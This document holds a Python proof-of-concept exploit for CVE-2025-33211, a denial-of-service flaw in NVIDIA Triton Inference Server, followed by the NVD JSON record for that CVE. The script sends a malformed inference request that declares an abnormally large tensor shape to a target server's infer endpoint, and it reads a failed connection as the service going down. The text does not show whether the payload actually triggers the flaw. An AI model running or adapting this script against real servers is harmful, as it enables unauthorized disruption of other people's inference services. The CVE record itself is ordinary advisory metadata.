CVE-2025-33211

# CVE-2025-33211 PoC - NVIDIA Triton Server Improper Input Validation # This PoC demonstrates sending a malformed request to trigger the vulnerability import requests import json TARGET_URL = "http://target-triton-server:8000/v2/models/{model_name}/infer" MODEL_NAME = "example_model" def create_malformed_payload(): """Create a payload with invalid quantity values""" # Malformed request with invalid array size/quantity payload = { "inputs": [ { "name": "input0", "shape": [1, 1000000000], # Abnormal large size "datatype": "FP32", "data": [1.0] * 10 } ], "outputs": [ {"name": "output0"} ] } return payload def exploit_cve_2025_33211(): """Send malformed request to trigger DoS""" url = TARGET_URL.format(model_name=MODEL_NAME) headers = {"Content-Type": "application/json"} try: response = requests.post(url, json=create_malformed_payload(), headers=headers, timeout=5) print(f"Status: {response.status_code}") print(f"Response: {response.text}") except requests.exceptions.RequestException as e: print(f"Request failed (service may be down): {e}") if __name__ == "__main__": print("CVE-2025-33211 PoC - Testing improper input validation in NVIDIA Triton Server") exploit_cve_2025_33211()

{"cve": {"id": "CVE-2025-33211", "sourceIdentifier": "[email protected]", "published": "2025-12-03T19:15:56.203", "lastModified": "2025-12-05T16:33:46.797", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "NVIDIA Triton Server for Linux contains a vulnerability where an attacker may cause an improper validation of specified quantity in input. A successful exploit of this vulnerability may lead to denial of service."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-1284"}]}], "configurations": [{"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:nvidia:triton_inference_server:*:*:*:*:*:*:*:*", "versionEndExcluding": "25.10", "matchCriteriaId": "18BB44BB-3B9D-4485-8C83-3D8B071A14F8"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:o:linux:linux_kernel:-:*:*:*:*:*:*:*", "matchCriteriaId": "703AF700-7A70-47E2-BC3A-7FD03B3CA9C1"}]}]}], "references": [{"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-33211", "source": "[email protected]", "tags": ["Technical Description"]}, {"url": "https://nvidia.custhelp.com/app/answers/detail/a_id/5734", "source": "[email protected]", "tags": ["Vendor Advisory"]}, {"url": "https://www.cve.org/CVERecord?id=CVE-2025-33211", "source": "[email protected]", "tags": ["Technical Description"]}]}}